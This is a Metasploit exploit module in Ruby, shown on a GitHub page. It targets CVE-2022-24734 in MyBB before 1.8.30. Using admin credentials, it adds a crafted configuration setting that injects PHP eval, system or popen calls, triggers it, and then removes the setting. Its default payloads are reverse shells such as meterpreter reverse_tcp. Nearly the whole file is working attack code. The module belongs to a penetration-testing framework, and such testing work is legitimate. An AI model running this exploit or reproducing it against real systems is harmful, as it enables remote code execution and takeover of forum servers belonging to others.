-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
mybb_rce_cve_2022_24734.rb
278 lines (248 loc) · 9.12 KB
/
mybb_rce_cve_2022_24734.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MyBB Admin Control Code Injection RCE',
'Description' => %q{
This exploit module leverages an improper input validation
vulnerability in MyBB prior to `1.8.30` to execute arbitrary code in
the context of the user running the application.
MyBB Admin Control setting page calls PHP `eval` function with an
unsanitized user input. The exploit adds a new setting, injecting the
payload in the vulnerable field, and triggers its execution with a
second request. Finally, it takes care of cleaning up and removes the
setting.
Note that authentication is required for this exploit to work and the
account must have rights to add or update settings (typically, myBB
administrator role).
},
'License' => MSF_LICENSE,
'Author' => [
'Cillian Collins', # vulnerability research
'Altelus', # original PoC
'Christophe De La Fuente' # MSF module
],
'References' => [
[ 'URL', 'https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f'],
[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-22-503/'],
[ 'URL', 'https://github.com/Altelus1/CVE-2022-24734'],
[ 'CVE', '2022-24734']
],
'Platform' => %w[php unix linux win],
'Privileged' => false,
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'Type' => :in_memory
}
],
[
'Unix (In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' },
'Type' => :in_memory
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Type' => :dropper
}
],
[
'Windows (In-Memory)',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },
'Type' => :in_memory
}
],
[
'Windows (Dropper)',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
'Type' => :dropper
}
]
],
'DisclosureDate' => '2022-03-09',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'MyBB Admin CP username' ]),
OptString.new('PASSWORD', [ true, 'MyBB Admin CP password' ]),
OptString.new('TARGETURI', [ true, 'The URI of the MyBB application', '/'])
]
)
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => { 'intcheck' => 1 }
})
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
# see https://github.com/mybb/mybb/blob/feature/inc/class_core.php#L307-L310
unless res.body.include?('MYBB')
return CheckCode::Unknown("#{peer} - Cannot find MyBB forum running at #{target_uri.path}")
end
print_good("MyBB forum found running at #{target_uri.path}")
return CheckCode::Detected
end
def login
vprint_status('Attempting login')
cookie_jar.cleanup(true)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/admin/index.php'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'do' => 'login'
}
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
unless res.body.match(/Logged in as .*#{datastore['USERNAME']}/)
fail_with(Failure::NoAccess, "#{peer} - Invalid credentials")
end
print_good('Login successful!')
end
def send_config_settings(method: 'GET', action: 'add', vars_get: {}, vars_post: {}, check_response: true)
req_hash = {
'uri' => normalize_uri(target_uri.path, '/admin/index.php'),
'method' => method,
'vars_get' => {
'module' => 'config-settings',
'action' => action
}.merge(vars_get)
}
req_hash['vars_post'] = vars_post unless vars_post.blank?
res = send_request_cgi(req_hash, datastore['WfsDelay'] > 0 ? datastore['WfsDelay'] : 2)
if check_response && res.nil?
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response")
end
res
end
def exploit
login
res = send_config_settings
if res.body.include?('Access Denied')
fail_with(Failure::NoAccess, "#{peer} - Supplied user doesn't have the rights to add a setting")
end
vprint_status('Adding a malicious settings')
doc = res.get_html_document
@my_post_key = doc.xpath('//input[@name="my_post_key"]/@value').text
case target['Type']
when :in_memory
execute_command(payload.encoded)
when :dropper
execute_cmdstager
end
end
def send_payload(cmd)
vprint_status('Adding a crafted configuration setting entry with the payload')
cmd = cmd.gsub(/\\/, '\\' => '\\\\')
cmd = cmd.gsub(/"/, '"' => '\\"')
cmd = cmd.gsub(/\$/, '$' => '\\$')
case target['Platform']
when 'php'
extra = "\" . eval(\"#{cmd}\") .\""
when 'win'
if target['Arch'] == ARCH_CMD
# Force cmd to run in the background (only works for `cmd`)
extra = "\" . pclose(popen(\"start /B #{cmd}\", \"r\")) .\""
else
extra = "\" . system(\"#{cmd}\") .\""
end
else
extra = "\" . system(\"#{cmd} > /dev/null &\") .\""
end
post_data = {
my_post_key: @my_post_key,
title: Rex::Text.rand_text_alpha(rand(8...16)),
description: Rex::Text.rand_text_alpha(rand(8...16)),
gid: 1,
disporder: '',
name: Rex::Text.rand_text_alpha(rand(8...16)),
type: "\tphp",
extra: extra,
value: Rex::Text.rand_text_alpha(rand(8...16))
}
res = send_config_settings(method: 'POST', vars_post: post_data)
unless res.code == 302
doc = res.get_html_document
err = doc.xpath('//div[@class="error"]').text
fail_with(Failure::Unknown,
"#{peer} - The module expected a 302 response but received: "\
"#{res.code}. Exploit didn't work.#{" Reason: #{err}" if err.present?}")
end
vprint_good('Payload successfully sent')
end
def trigger_payload
vprint_status('Triggering the payload execution')
# We're not expecting response to this query
send_config_settings(action: 'change', check_response: false)
end
def remove_setting
vprint_status('Removing the configuration setting')
vprint_status('Grab the delete parameters')
res = send_config_settings(action: 'manage')
if res.body.include?('<title>MyBB Control Panel - Login</title>')
# this exploit seems to logout users sometimes, so, try to login again and retry
print_status('User session is not valid anymore. Trying to login again to cleanup')
login
res = send_config_settings(action: 'manage')
end
doc = res.get_html_document
control_links = doc.xpath('//div[@class="popup_item_container"]/a/@href')
uri = control_links.detect do |href|
href.text.include?('action=delete') && href.text.include?("my_post_key=#{@my_post_key}")
end
if uri.nil?
print_warning("#{peer} - URI not found in `Modify Settings` page - cannot cleanup")
return
end
vprint_status('Send the delete request')
params = uri.text.split('?')[1]
get_data = CGI.parse(params).transform_values(&:join)
send_config_settings(method: 'POST', vars_get: get_data)
end
def execute_command(cmd, _opt = {})
send_payload(cmd)
trigger_payload
remove_setting
print_status('Shell incoming...')
end
end